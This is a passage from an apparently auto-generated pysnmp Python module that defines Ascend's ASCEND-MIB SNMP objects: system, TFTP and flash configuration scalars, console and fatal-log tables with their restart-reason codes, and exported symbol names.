2, 1, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: consoleSecurity.setStatus('mandatory') console_specific = mib_table_column((1, 3, 6, 1, 4, 1, 529, 8, 2, 1, 5), object_identifier()).setMaxAccess('readonly') if mibBuilder.loadTexts: consoleSpecific.setStatus('mandatory') sys_absolute_startup_time = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysAbsoluteStartupTime.setStatus('mandatory') sys_secs_since_startup = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysSecsSinceStartup.setStatus('mandatory') sys_mib_version_num = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysMibVersionNum.setStatus('mandatory') sys_mib_minor_rev_num = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysMibMinorRevNum.setStatus('mandatory') sys_config_tftp = mib_identifier((1, 3, 6, 1, 4, 1, 529, 9, 5)) sys_config_tftp_cmd = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8))).clone(namedValues=named_values(('save', 1), ('restore', 2), ('saveAll', 3), ('saveMib', 4), ('saveAllMib', 5), ('loadCode', 6), ('saveIncProf', 7), ('saveExcProf', 8)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysConfigTftpCmd.setStatus('mandatory') sys_config_tftp_status = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17))).clone(namedValues=named_values(('ok', 1), ('notFound', 2), ('access', 3), ('noSpace', 4), ('badOp', 5), ('badTid', 6), ('exists', 7), ('noSuchUser', 8), ('parameter', 9), ('busy', 10), ('noResources', 11), ('timeout', 12), ('unrecoverable', 13), ('tooManyRetries', 14), ('createFile', 15), ('openFile', 16), ('inProgress', 17)))).setMaxAccess('readonly') if mibBuilder.loadTexts: sysConfigTftpStatus.setStatus('mandatory') sys_config_tftp_host_addr = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 3), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysConfigTftpHostAddr.setStatus('mandatory') sys_config_tftp_filename = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 4), display_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysConfigTftpFilename.setStatus('mandatory') sys_config_tftp_port = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 5), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysConfigTftpPort.setStatus('mandatory') sys_config_tftp_parameter = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 5, 6), display_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysConfigTftpParameter.setStatus('mandatory') sys_config_radius = mib_identifier((1, 3, 6, 1, 4, 1, 529, 9, 6)) sys_config_radius_cmd = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 6, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('all', 1), ('routes', 2), ('pools', 3), ('nailed', 4), ('termsrv', 5), ('source', 6)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysConfigRadiusCmd.setStatus('mandatory') sys_config_radius_status = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 6, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('init', 1), ('processing', 2), ('timeout', 3), ('error', 4), ('complete', 5)))).setMaxAccess('readonly') if mibBuilder.loadTexts: sysConfigRadiusStatus.setStatus('mandatory') sys_absolute_current_time = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 7), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysAbsoluteCurrentTime.setStatus('mandatory') sys_reset = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('no-op', 1), ('reset', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysReset.setStatus('mandatory') sys_load_name = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 9), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysLoadName.setStatus('mandatory') sys_auth_preference = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 10), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('no-op', 1), ('local-first', 2), ('remote-first', 3), ('remote-no', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysAuthPreference.setStatus('mandatory') sys_sprom = mib_identifier((1, 3, 6, 1, 4, 1, 529, 9, 11)) sys_sprom_serial_number = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 11, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysSPROMSerialNumber.setStatus('mandatory') sys_sprom_options1 = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 11, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysSPROMOptions1.setStatus('mandatory') sys_sprom_options2 = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 11, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysSPROMOptions2.setStatus('mandatory') sys_sprom_countries1 = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 11, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysSPROMCountries1.setStatus('mandatory') reset_stat = mib_identifier((1, 3, 6, 1, 4, 1, 529, 9, 12)) reset_stat_ether = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 12, 1), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: resetStatEther.setStatus('mandatory') reset_stat_wan = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 12, 2), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: resetStatWAN.setStatus('mandatory') reset_stat_all = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 12, 3), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: resetStatAll.setStatus('mandatory') sys_last_restart_reason = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 13), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 55, 60, 61, 62, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 129, 130, 131, 135, 136, 140, 145, 146, 150, 151, 152, 153, 154, 160, 161, 165, 170, 171, 175, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 190, 191, 192, 193, 194, 195, 196, 197, 198, 200, 201, 210, 211, 220, 221, 300, 301, 302, 303, 304, 305, 306, 309, 310, 311, 312, 313, 314, 320, 321, 330, 381, 382, 383, 384, 385, 400, 550, 512, 767, 768, 800, 801, 999, 1001, 1002, 1003, 1005, 1006, 1007, 2001, 2002, 2010, 2022, 2100, 2101, 3001, 3002, 3003, 4000, 4100, 9998, 9999))).clone(namedValues=named_values(('fatalAssert', 1), ('fatalPoolsNoBuffer', 2), ('fatalProfileBad', 3), ('fatalSwitchTypeBad', 4), ('fatalLif', 5), ('fatalLcdError', 6), ('fatalIsacTimeout', 7), ('fatalSCCSpuriousInterrupt', 8), ('fatalExecInvalidSwitch', 9), ('fatalExecNoMailDesc', 10), ('fatalExecNoMailPoll', 11), ('fatalExecNoTask', 12), ('fatalExecNoTimer', 13), ('fataExecNoTimerPool', 14), ('fatalExecWaitInCtricalSection', 15), ('fatalDspDead', 16), ('fatalDspProtocolError', 17), ('fatalDspInternalError', 18), ('fatalDspLossOfSync', 19), ('fatalDspUnUsed', 20), ('fatalDDDDead', 21), ('fatalDDDProtocolError', 22), ('fatalX25Buffers', 23), ('fatalX25Init', 24), ('fatalX25Stack', 25), ('fatalZeroMemoryAlloc', 27), ('fatalNegativeMemoryAllocate', 28), ('fatalTaskLoop', 29), ('fatalMemcpyTooLarge', 30), ('fatalMemcpyNoMagic', 31), ('fatalMemcpyWrongMagic', 32), ('fatalMemcoyBadStart', 33), ('fatalIDECTimeout', 34), ('fatalExecRestricted', 35), ('fatalStackOverflow', 36), ('fatalDRAMCard', 37), ('fatalMbufPanic', 38), ('fatalNoPriority2Task', 39), ('fatalProtectionFault', 40), ('fatalClipping', 41), ('fatalReadyHangFault', 42), ('fatalExcessPostCompl', 43), ('fatalWriteProtect', 44), ('fatalPureVirtual', 45), ('fatalATMSVC', 46), ('fatalFRSVC', 47), ('fatalInterruptCode', 48), ('fatalLinkedListCorruption', 55), ('fatalBadPower', 60), ('fatalWatchdogTimeout', 61), ('fatalUnexplainedNMI', 62), ('fatalPrimarySelected', 98), ('fatalOperatorReset', 99), ('fatalSystemUp', 100), ('warningBufferInUse', 101), ('warningBufferWrongPool', 102), ('warningBufferWrongHeap', 103), ('warningBufferNotMemAlloc', 104), ('warningBufferBadMemAlloc', 105), ('warningBufferBogusPool', 106), ('warningBufferBogusHeap', 107), ('warningBufferNegativeMemalloc', 108), ('warningBufferZeroMemalloc', 109), ('warningBufferBoundary', 110), ('warningBufferTooBig', 111), ('warningBufferNull', 112), ('warningBufferSegmentCountZero', 113), ('warningBufferTrailerMagic', 114), ('warningBufferTrailerBuffer', 115), ('warningBufferTrailerLength', 116), ('warningBufferTrailerUserMagic', 117), ('warningBufferWriteAfterFree', 118), ('warningBufferNotInUse', 119), ('warningBufferMemcpyMagic', 120), ('warningBufferMemcpyMagicNext', 121), ('warningBufferNoExtraDRAM', 129), ('errprPPPAsuncBufferInUse', 130), ('warningIpcpIpLookup', 131), ('warningBadChunk', 135), ('warningUnexpectedIF', 136), ('warningNoTimers', 140), ('warningLCDAllocFailure', 145), ('warningLCDNonSense', 146), ('warningMemcpyTooLarge', 150), ('warningMemcpyNoMagic', 151), ('warningMemcpyWrongMagic', 152), ('warningMemcpyBadStart', 153), ('warningWANBufferLeak', 154), ('warningTermSrvState', 160), ('warningTermSrvSemaphore', 161), ('warningTelnetFreeDrv', 165), ('warningSTACTimeout', 170), ('warningSTACDataNotOwned', 171), ('warningExecFailure', 175), ('warningExecNoMailbox', 177), ('warningExecNoResources', 178), ('warningUnexpected', 179), ('warningChannelMapStuck', 180), ('warningChannelDisplayStuck', 181), ('warningNewCallNoDiscRequest', 182), ('warningNewCallNoDiscResp', 183), ('warningDisconnectRequestDropped', 184), ('warningSpyderBuffer', 185), ('warningSpyderDesc', 186), ('warningSpyderLoseChannel', 187), ('warningHscxSlowRelay', 188), ('warningTcpSbcontTooBig', 190), ('warningTcpSequenceGap', 191), ('warningTcpTooMuchData', 192), ('warningTcpTooMuchWrite', 193), ('warningTcpBadOptions', 194), ('warningLmodSlotDown', 195), ('warningLmodDspDown', 196), ('warningLmodDspmodemDown', 197), ('warningTcpXmitLooping', 198), ('warningOspfFatal', 200), ('warningOspfWarn', 201), ('warningBriJumperNotPresent', 210), ('warningBriJumperConfiguration', 211), ('infoCardBounced', 220), ('infoCardDown', 221), ('warningTacacsplusBase', 300), ('warningTacacsplusPointerInconsistency', 301), ('warningTacacsplusIndexInconsistency', 302), ('warningTacacsplusTcpInconsistency', 303), ('warningTacacsplusTcpOutofrangesocket', 304), ('warningTacacsplusSocketMismatch', 305), ('warningTacacsplusUnexpectedAuthState', 306), ('warningTacacsplusMax', 309), ('warningCidrWrongTree', 310), ('warningCidrNoMem', 311), ('warningCidrBusy', 312), ('warningCidrNonempty', 313), ('warningCidrDupDelete', 314), ('warningSauthWrongInfo', 320), ('warningSauthBadAddr', 321), ('warningGdbProtectionFault', 330), ('warningInFilterList', 381), ('warningNoCountInFilterList', 382), ('warningMismatchCountFilterList', 383), ('warningCdtUnprotectedAccess', 384), ('infoSystemResetOccurred', 385), ('warningBadPowerSupply', 400), ('warningEthernetNoTxBuf', 550), ('warningDspCrashMin', 512), ('warningDspCrashMax', 767), ('warningDspWrongSlot', 768), ('warningUnalignedAccess', 800), ('warningH323NoResources', 801), ('warningExecRestricted', 999), ('warningEthernetCuBusy', 1001), ('warningEthernetAckFailure', 1002), ('warningEthernetReset', 1003), ('warningEthernetCuActive', 1005), ('warningEthernetWaitScb', 1006), ('warningEthernetNoMACAddress', 1007), ('warningBaeepromChange', 2001), ('warningBaeepromImageMismatch', 2002), ('warningFlashTypeBad', 2010), ('warningMaxiopLoadFailure', 2022), ('warningPrimaryHWsetupFailed', 2100), ('warningSecondaryHWsetupFailed', 2101), ('warningIpxsapFilterMagic', 3001), ('warningIpxsapFilterCountZero', 3002), ('warningIpxsapFilterCountMismatch', 3003), ('warningModemTxChannelStuck', 4000), ('warningModemTxChannelRecovered', 4100), ('notApplicable', 9998), ('unknown', 9999)))).setMaxAccess('readonly') if mibBuilder.loadTexts: sysLastRestartReason.setStatus('mandatory') sys_config_change = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 14), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysConfigChange.setStatus('mandatory') sys_config_flash = mib_identifier((1, 3, 6, 1, 4, 1, 529, 9, 15)) fatal_log_table = mib_table((1, 3, 6, 1, 4, 1, 529, 9, 16)) if mibBuilder.loadTexts: fatalLogTable.setStatus('mandatory') fatal_log_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 529, 9, 16, 1)).setIndexNames((0, 'ASCEND-MIB', 'fatalLogIndex')) if mibBuilder.loadTexts: fatalLogTableEntry.setStatus('mandatory') fatal_log_index = mib_table_column((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: fatalLogIndex.setStatus('mandatory') fatal_log_slot_index = mib_table_column((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: fatalLogSlotIndex.setStatus('mandatory') fatal_log_software_verion = mib_table_column((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 3), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: fatalLogSoftwareVerion.setStatus('mandatory') fatal_log_userprofile = mib_table_column((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 4), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: fatalLogUserprofile.setStatus('mandatory') fatal_log_load_name = mib_table_column((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 5), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: fatalLogLoadName.setStatus('mandatory') fatal_log_location = mib_table_column((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 6), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: fatalLogLocation.setStatus('mandatory') fatal_log_reason = mib_table_column((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 55, 60, 61, 62, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 129, 130, 131, 135, 136, 140, 145, 146, 150, 151, 152, 153, 154, 160, 161, 165, 170, 171, 175, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 190, 191, 192, 193, 194, 195, 196, 197, 198, 200, 201, 210, 211, 220, 221, 300, 301, 302, 303, 304, 305, 306, 309, 310, 311, 312, 313, 314, 320, 321, 330, 381, 382, 383, 384, 385, 400, 550, 512, 767, 768, 800, 801, 999, 1001, 1002, 1003, 1005, 1006, 1007, 2001, 2002, 2010, 2022, 2100, 2101, 3001, 3002, 3003, 4000, 4100, 9998, 9999))).clone(namedValues=named_values(('fatalAssert', 1), ('fatalPoolsNoBuffer', 2), ('fatalProfileBad', 3), ('fatalSwitchTypeBad', 4), ('fatalLif', 5), ('fatalLcdError', 6), ('fatalIsacTimeout', 7), ('fatalSCCSpuriousInterrupt', 8), ('fatalExecInvalidSwitch', 9), ('fatalExecNoMailDesc', 10), ('fatalExecNoMailPoll', 11), ('fatalExecNoTask', 12), ('fatalExecNoTimer', 13), ('fataExecNoTimerPool', 14), ('fatalExecWaitInCtricalSection', 15), ('fatalDspDead', 16), ('fatalDspProtocolError', 17), ('fatalDspInternalError', 18), ('fatalDspLossOfSync', 19), ('fatalDspUnUsed', 20), ('fatalDDDDead', 21), ('fatalDDDProtocolError', 22), ('fatalX25Buffers', 23), ('fatalX25Init', 24), ('fatalX25Stack', 25), ('fatalZeroMemoryAlloc', 27), ('fatalNegativeMemoryAllocate', 28), ('fatalTaskLoop', 29), ('fatalMemcpyTooLarge', 30), ('fatalMemcpyNoMagic', 31), ('fatalMemcpyWrongMagic', 32), ('fatalMemcoyBadStart', 33), ('fatalIDECTimeout', 34), ('fatalExecRestricted', 35), ('fatalStackOverflow', 36), ('fatalDRAMCard', 37), ('fatalMbufPanic', 38), ('fatalNoPriority2Task', 39), ('fatalProtectionFault', 40), ('fatalClipping', 41), ('fatalReadyHangFault', 42), ('fatalExcessPostCompl', 43), ('fatalWriteProtect', 44), ('fatalPureVirtual', 45), ('fatalATMSVC', 46), ('fatalFRSVC', 47), ('fatalInterruptCode', 48), ('fatalLinkedListCorruption', 55), ('fatalBadPower', 60), ('fatalWatchdogTimeout', 61), ('fatalUnexplainedNMI', 62), ('fatalPrimarySelected', 98), ('fatalOperatorReset', 99), ('fatalSystemUp', 100), ('warningBufferInUse', 101), ('warningBufferWrongPool', 102), ('warningBufferWrongHeap', 103), ('warningBufferNotMemAlloc', 104), ('warningBufferBadMemAlloc', 105), ('warningBufferBogusPool', 106), ('warningBufferBogusHeap', 107), ('warningBufferNegativeMemalloc', 108), ('warningBufferZeroMemalloc', 109), ('warningBufferBoundary', 110), ('warningBufferTooBig', 111), ('warningBufferNull', 112), ('warningBufferSegmentCountZero', 113), ('warningBufferTrailerMagic', 114), ('warningBufferTrailerBuffer', 115), ('warningBufferTrailerLength', 116), ('warningBufferTrailerUserMagic', 117), ('warningBufferWriteAfterFree', 118), ('warningBufferNotInUse', 119), ('warningBufferMemcpyMagic', 120), ('warningBufferMemcpyMagicNext', 121), ('warningBufferNoExtraDRAM', 129), ('errprPPPAsuncBufferInUse', 130), ('warningIpcpIpLookup', 131), ('warningBadChunk', 135), ('warningUnexpectedIF', 136), ('warningNoTimers', 140), ('warningLCDAllocFailure', 145), ('warningLCDNonSense', 146), ('warningMemcpyTooLarge', 150), ('warningMemcpyNoMagic', 151), ('warningMemcpyWrongMagic', 152), ('warningMemcpyBadStart', 153), ('warningWANBufferLeak', 154), ('warningTermSrvState', 160), ('warningTermSrvSemaphore', 161), ('warningTelnetFreeDrv', 165), ('warningSTACTimeout', 170), ('warningSTACDataNotOwned', 171), ('warningExecFailure', 175), ('warningExecNoMailbox', 177), ('warningExecNoResources', 178), ('warningUnexpected', 179), ('warningChannelMapStuck', 180), ('warningChannelDisplayStuck', 181), ('warningNewCallNoDiscRequest', 182), ('warningNewCallNoDiscResp', 183), ('warningDisconnectRequestDropped', 184), ('warningSpyderBuffer', 185), ('warningSpyderDesc', 186), ('warningSpyderLoseChannel', 187), ('warningHscxSlowRelay', 188), ('warningTcpSbcontTooBig', 190), ('warningTcpSequenceGap', 191), ('warningTcpTooMuchData', 192), ('warningTcpTooMuchWrite', 193), ('warningTcpBadOptions', 194), ('warningLmodSlotDown', 195), ('warningLmodDspDown', 196), ('warningLmodDspmodemDown', 197), ('warningTcpXmitLooping', 198), ('warningOspfFatal', 200), ('warningOspfWarn', 201), ('warningBriJumperNotPresent', 210), ('warningBriJumperConfiguration', 211), ('infoCardBounced', 220), ('infoCardDown', 221), ('warningTacacsplusBase', 300), ('warningTacacsplusPointerInconsistency', 301), ('warningTacacsplusIndexInconsistency', 302), ('warningTacacsplusTcpInconsistency', 303), ('warningTacacsplusTcpOutofrangesocket', 304), ('warningTacacsplusSocketMismatch', 305), ('warningTacacsplusUnexpectedAuthState', 306), ('warningTacacsplusMax', 309), ('warningCidrWrongTree', 310), ('warningCidrNoMem', 311), ('warningCidrBusy', 312), ('warningCidrNonempty', 313), ('warningCidrDupDelete', 314), ('warningSauthWrongInfo', 320), ('warningSauthBadAddr', 321), ('warningGdbProtectionFault', 330), ('warningInFilterList', 381), ('warningNoCountInFilterList', 382), ('warningMismatchCountFilterList', 383), ('warningCdtUnprotectedAccess', 384), ('infoSystemResetOccurred', 385), ('warningBadPowerSupply', 400), ('warningEthernetNoTxBuf', 550), ('warningDspCrashMin', 512), ('warningDspCrashMax', 767), ('warningDspWrongSlot', 768), ('warningUnalignedAccess', 800), ('warningH323NoResources', 801), ('warningExecRestricted', 999), ('warningEthernetCuBusy', 1001), ('warningEthernetAckFailure', 1002), ('warningEthernetReset', 1003), ('warningEthernetCuActive', 1005), ('warningEthernetWaitScb', 1006), ('warningEthernetNoMACAddress', 1007), ('warningBaeepromChange', 2001), ('warningBaeepromImageMismatch', 2002), ('warningFlashTypeBad', 2010), ('warningMaxiopLoadFailure', 2022), ('warningPrimaryHWsetupFailed', 2100), ('warningSecondaryHWsetupFailed', 2101), ('warningIpxsapFilterMagic', 3001), ('warningIpxsapFilterCountZero', 3002), ('warningIpxsapFilterCountMismatch', 3003), ('warningModemTxChannelStuck', 4000), ('warningModemTxChannelRecovered', 4100), ('notApplicable', 9998), ('unknown', 9999)))).setMaxAccess('readonly') if mibBuilder.loadTexts: fatalLogReason.setStatus('mandatory') fatal_log_absolute_time = mib_table_column((1, 3, 6, 1, 4, 1, 529, 9, 16, 1, 8), integer32().subtype(subtypeSpec=value_range_constraint(1, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: fatalLogAbsoluteTime.setStatus('mandatory') sys_config_flash_cmd = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 15, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('copyPCMCIAtoInternal', 1), ('copyInternalToPCMCIA', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: sysConfigFlashCmd.setStatus('mandatory') sys_config_flash_copy_status = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 15, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('ok', 1), ('inProgress', 2), ('failed', 3)))).setMaxAccess('readonly') if mibBuilder.loadTexts: sysConfigFlashCopyStatus.setStatus('mandatory') sys_config_internal_flash_image_version = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 15, 3), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysConfigInternalFlashImageVersion.setStatus('mandatory') sys_config_pcmcia_flash_image_version = mib_scalar((1, 3, 6, 1, 4, 1, 529, 9, 15, 4), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: sysConfigPCMCIAFlashImageVersion.setStatus('mandatory') mibinternet_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 1)) mibframe_relay_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 2)) mibanswer_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 3)) mibd_s3_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 4)) mibuds3_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 5)) mibcadsl_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 6)) mibdadsl_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 7)) mibsdsl_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 8)) mibvdsl_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 9)) mibdmt_al_dsl_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 10)) miboc3_atm_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 11)) miblim_sparing_config_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 12)) mibds3_atm_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 13)) mibhdsl2_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 14)) mibe3_atm_network_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 15)) mibredundancy_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 16)) mibredundancy_stats_profile = mib_identifier((1, 3, 6, 1, 4, 1, 529, 23, 17)) mibBuilder.exportSymbols('ASCEND-MIB', mibe3AtmNetworkProfile=mibe3AtmNetworkProfile, atmpGroup=atmpGroup, hostTypeQuad=hostTypeQuad, dslPipeSdslCoe=dslPipeSdslCoe, consoleType=consoleType, mibdS3NetworkProfile=mibdS3NetworkProfile, callStatusGroup=callStatusGroup, doBegEndRemoteLB=doBegEndRemoteLB, sysSPROMCountries1=sysSPROMCountries1, consoleEntry=consoleEntry, doEntry=doEntry, max=max, pipe50LS56=pipe50LS56, consoleNumber=consoleNumber, sysSecsSinceStartup=sysSecsSinceStartup, sysConfigTftp=sysConfigTftp, sysConfigTftpFilename=sysConfigTftpFilename, dslPipe2S=dslPipe2S, max200=max200, hostStatusChannels=hostStatusChannels, max4002=max4002, voipGroup=voipGroup, max4004=max4004, mibds3AtmNetworkProfile=mibds3AtmNetworkProfile, resetStatWAN=resetStatWAN, sysConfigFlash=sysConfigFlash, fatalLogTable=fatalLogTable, hostTypeAim6=hostTypeAim6, fatalLogTableEntry=fatalLogTableEntry, pipe130T1=pipe130T1, miboc3AtmNetworkProfile=miboc3AtmNetworkProfile, console=console, pipe130N56=pipe130N56, sparingGroup=sparingGroup, doSlotIndex=doSlotIndex, fatalLogAbsoluteTime=fatalLogAbsoluteTime, mibanswerProfile=mibanswerProfile, mibdadslNetworkProfile=mibdadslNetworkProfile, consoleTable=consoleTable, hostStatusDialNum=hostStatusDialNum, slots=slots, mibvdslNetworkProfile=mibvdslNetworkProfile, flashGroup=flashGroup, lanTypeAny=lanTypeAny, consoleIndex=consoleIndex, sysReset=sysReset, fatalLogIndex=fatalLogIndex, configuration=configuration, max_tnt=max_tnt, lanTypeEtherData=lanTypeEtherData, consoleIf=consoleIf, hostStatus=hostStatus, multiShelf=multiShelf, sysConfigFlashCmd=sysConfigFlashCmd, max3000=max3000, doExtendBW=doExtendBW, pipe400=pipe400, mgGroup=mgGroup, sysSPROMOptions2=sysSPROMOptions2, sysLastRestartReason=sysLastRestartReason, fatalLogSoftwareVerion=fatalLogSoftwareVerion, advancedAgent=advancedAgent, apx_8000=apx_8000, pipeline=pipeline, hostStatusCallMgm=hostStatusCallMgm, cltmGroup=cltmGroup, DisplayString=DisplayString, fatalLogReason=fatalLogReason, dslPipeS=dslPipeS, systemStatusGroup=systemStatusGroup, hostStatusSlotIndex=hostStatusSlotIndex, hostStatusItemIndex=hostStatusItemIndex, lanModemGroup=lanModemGroup, doResynchronize=doResynchronize, hostStatusDataSvc=hostStatusDataSvc, sysConfigTftpStatus=sysConfigTftpStatus, pipe85=pipe85, cvmax100=cvmax100, dslPipeAdslCoeC=dslPipeAdslCoeC, hostTypeAim2=hostTypeAim2, hostStatusLocalName=hostStatusLocalName, mibredundancyStatsProfile=mibredundancyStatsProfile, products=products, asgGroup=asgGroup, dslTnt=dslTnt, firewallGroup=firewallGroup, doItemIndex=doItemIndex, hostStatusTable=hostStatusTable, sysAuthPreference=sysAuthPreference, sysConfigInternalFlashImageVersion=sysConfigInternalFlashImageVersion, sysSPROMSerialNumber=sysSPROMSerialNumber, dslmax20=dslmax20, mibsdslNetworkProfile=mibsdslNetworkProfile, stinger_10=stinger_10, sysConfigTftpParameter=sysConfigTftpParameter, terminator=terminator, hostStatusDuration=hostStatusDuration, max1800=max1800, doContractBW=doContractBW, wanDialoutPkt=wanDialoutPkt, powerSupply=powerSupply, resetStatEther=resetStatEther, pipe25Fx=pipe25Fx, lanTypeEthernet=lanTypeEthernet, aqueduct=aqueduct, miblimSparingConfigProfile=miblimSparingConfigProfile, doHangUp=doHangUp, consoleSecurity=consoleSecurity, dslPipeAdmt=dslPipeAdmt, sessionStatusGroup=sessionStatusGroup, sysConfigPCMCIAFlashImageVersion=sysConfigPCMCIAFlashImageVersion, sysLoadName=sysLoadName, max4000=max4000, pipe220=pipe220, resetStatAll=resetStatAll, doBegEndBERT=doBegEndBERT, miscGroup=miscGroup, pipe130V35=pipe130V35, pipe25=pipe25, dslPipeAdslCoeD=dslPipeAdslCoeD, ascend=ascend, spipe155T1=spipe155T1, pipe25Px=pipe25Px, multiband=multiband, mibhdsl2NetworkProfile=mibhdsl2NetworkProfile, mibdmtAlDslNetworkProfile=mibdmtAlDslNetworkProfile, spipe95=spipe95, resetStat=resetStat, dslPipeAlctlDmt=dslPipeAlctlDmt, sysConfigRadiusCmd=sysConfigRadiusCmd, lanTypes=lanTypes, hostStatusCallState=hostStatusCallState, 